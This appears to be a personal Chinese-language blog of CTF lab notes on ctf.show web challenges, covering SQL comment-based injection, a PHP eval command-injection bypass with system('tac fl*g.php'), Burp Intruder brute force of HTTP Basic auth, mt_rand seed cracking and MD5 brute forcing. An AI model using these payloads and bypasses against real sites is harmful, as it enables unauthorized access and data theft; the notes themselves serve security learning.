关于注释

-- 表示 SQL 标准注释,用于注释单行(注意最后有一空格)。

当网站存在尾部空格过滤的功能时,将会无法正确进行 SQL 注入
例如:

1
SELECT * FROM users WHERE username='a' or true --' AND password='1'

此处注入语句尾部空格被去掉,无法正常注入。
可用 MySQL 的单行注释符 # 来代替,不需要额外添加空格,更加简单有效。
也可在 -- 后加上使尾部空格不会被过滤的其他字符,如 -- a ,有用但不推荐。

# 表示 MySQL 单行注释符,功能与 -- 相同。

未编码的 # 在URL中被称为片段标识符( Fragment Identifier ),方便浏览器将页面滚动到对应内容的位置。浏览器不会将 # 后的内容发送到服务器,所以,如果要在导航栏中进行 SQL 注入并使用 # ,需要编码为 %23

我的第一道命令执行

题目: ctf.show web21

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

正则表达式会匹配 flag ,忽略大小写。如果 GET 请求的参数 c 中含有 flag ,便无法利用 eval 执行命令。

对此,先用 ls 命令看看目录里有什么:

1
?c=system(ls);

tips

  • system() 函数:可执行操作系统命令,实时输出结果到浏览器/终端。

  • 此处 ls 命令无空格,所以可以不加引号,但依旧建议使用 system() 函数时给命令加上引号。

  • 我的浏览器会自动 URL 转码,所以此处没转码。

目录中有两个文件: index.phpflag.php ,此时可以通过多种方式得到 flag.php 的内容:

方法一:

1
?c=system('cat fl*g.php');

通过通配符 * 绕过正则表达式,直接查看文件内容。但文件开头有个 <?php ,其中 < 会导致 HTML 解析异常,文件内容不会直接显示在网页中,要查看源码才能看到。

对此,作出如下改进:

1
?c=system('tac fl*g.php');

tac 命令从末行开始输出,最后输出首行,虽然 <?php 无法正常在网页中显示,但其他行全部正常显示。

方法二:

1
?c=system('cp fl*g.php a.txt');

通过 cp 命令复制一个新的文件 a.txt ,然后尝试通过 URL 访问该文件,成功。

方法三:

1
?c=echo file_get_contents($_GET[a]);&a=flag.php

代码只过滤了 GET 请求的参数 c ,未过滤其它参数,所以此处设定参数 aflag.php 然后再读取 $_GET[a] 能够绕过过滤。不过,同方法一的问题,文件内容在源码里,要开 F12 。

提醒一下自己,URL 传参没必要给每个参数的值加引号。

操作系统交互函数

  • system()
    输出行为:直接输出命令的标准输出(STDOUT),输出所有结果。
    返回值:成功时返回所有输出;失败时返回 false
    状态码:可通过第二个参数获取命令的退出状态码。
1
$last_line = system('ls -la', $status_code);
  • exec()
    输出行为:默认不直接输出结果,需通过第二个参数捕获完整输出数组。
    返回值:成功时返回命令的最后一行输出(若要全部输出,需要第二个参数捕获完整输出数组,然后输出该数组);失败时返回 false
    状态码:通过第三个参数获取退出状态码。
1
2
exec('ls -la', $output, $status_code);
print_r($output); // 输出数组形式的结果
  • shell_exec() 和反引号运算符(`)

    输出行为:不直接输出结果,返回完整输出字符串。
    返回值:成功时返回完整的输出字符串;失败或空输出时返回 null

1
2
3
4
$result = shell_exec('ls -la');
// 或使用反引号
$result = `ls -la`;
echo $result;
  • passthru()
    输出行为:直接输出原始二进制数据(如图像、音频)到浏览器。
    返回值:无输出内容,但可通过第二个参数获取状态码。
1
passthru('cat image.jpg', $status_code);

我的第一次爆破

题目: ctf.show web21
考察 HTTP Basic 认证协议与爆破

进入靶场后随意输入账号密码 adminpassword ,抓包发现 Authorization 字段中有 Base64 编码 YWRtaW46cGFzc3dvcmQ ,转换得 admin:password

此处基于 HTTP Basic 认证协议 ,会拼接账号、冒号与密码为一个字符串,再转换为 Base64 编码,插入请求头的 Authorization 字段。

但不管本题具体是什么协议,得到了账号密码拼接方式即可进行爆破。

打开 Burp Suite 的 Intruder 模块,在 Authorization 字段中添加 Payload 。

只有一个 Payload ,所以选择 Sniper attack 。在 Payloads 具体内容中, Payload type 选 Custom iterator (自定义迭代); Payload configuration 中的 Position 1-3 分别设置账号、 : 和密码字典; Payload processing 加入 Base64 编码;取消 Payload encoding 的 URL 编码(因为此处 Payload 不在 URL 中)。

开始攻击,有 200 状态码出现,复制对应的 Payload 到请求头 Authorization 字段,响应中有 flag ,OK。

PHP 伪随机数

题目一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>

tips

mt_srand():播种函数。伪随机数,种子相同,通过mt_rand()生成的一系列随机数必然相同。也就是两次播种的种子是同一个,这两次播种后每次用mt_rand()生成的随机数都互相对应。如:

1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(114);
echo mt_rand().'<br>';//325627173
echo mt_rand().'<br>';//271482249
mt_srand(114);
echo mt_rand().'<br>';//325627173
echo mt_rand().'<br>';//271482249
mt_srand(514);
echo mt_rand().'<br>';//1025750179
echo mt_rand().'<br>';//490569148

mt_rand():随机数函数。可以直接用,也可以设定最大与最小值(参数1和参数2)

本题找个 PHP 解释器生成一下伪随机数,然后通过 URL 发送 GET 请求即可。


题目二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

本题随机数种子固定 hexdec(substr(md5($flag), 0,8)) ,**$_GET['r'] 与首次生成的随机数不等时会返回两数相减的值,相等且 $_COOKIE['token'] 等于第二三次生成随机数之和**时会返回 flag 。

可以先把已生成的随机数得出来:?r=0,记得去掉负号,于是返回 flag 的第一重条件满足了。

通过伪随机数得到种子比较困难,好在有大佬写了工具 php_mt_seed ,把源码编译完即可运行。

https://github.com/openwall/php_mt_seed

在源码目录中编译

1
make

运行,<seed> 为种子。

1
time ./php_mt_seed <seed>

运行后选择 PHP 7.0 以上版本(结合题目提供的操作系统版本信息得知)的种子,每个生成三次随机数待使用。

打开 burp 抓包。修改 URL 中参数 r ,并添加 Cookie: token= ,值为某种子第二三次随机数的和(要多试几次不同的种子)。

手动修改 Cookie 时,一定要注意 burp 内的报文格式!若是请求体为空,则最后有两行空行(请求空行和请求体),这点与一般认知(请求空行作为最后一行表示请求体为空)不同。

手动修改时没注意,好几次发包响应报文都是完全空白。建议在 Proxy 模块的 Intercept 页或 Repeater 模块这两处右方的 Inspector 区域修改。

最后以正确格式发包,得到有 flag 的响应,OK。

ctfshow_Web23哈希爆破不写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

tips

substr():切割字符串,参数2为开始切割位置(含该字符),参数3为切割长度。

intval():取整数。

highlight_file(__FILE__):访问该 PHP 文件时高亮显示源码。


md5()函数输出哈希字符串,结合下面的if语句的极端罕见条件,本题只能靠穷举碰运气得出正确的哈希值,才能返回 flag 。

先在 URL 用 GET 方法传参(参数随意),抓包,传到 burp 的 intruder 模块修改。利用 Payloads 中 Payload typeCustom iterator ,组合出大量不同的 Payload 并攻击。最后以响应的长度排序,与其他包长度不一样的就是碰对运气带有 flag 的。

信息收集小技巧

  • 开F12看不了源码,可以URL前加 view-source: ,也可以用 Ctrl + U ,也可以自己找浏览器相关工具。
  • robots.txt 一般网站都能看,可以看看有没有要用的信息。
  • .phps 类型的文件用于网站开发时测试。当服务器配置为支持 .phps 扩展名时,访问此类文件会直接在浏览器中显示 PHP 源代码的语法高亮版本,而不是执行代码。若在网站投入使用时未正确配置服务器,导致可访问 .phps 文件(直接下载或在浏览器中高亮显示),可能存在源码暴露的风险
  • 响应标头中的x-powered-by:可以查看 PHP 版本。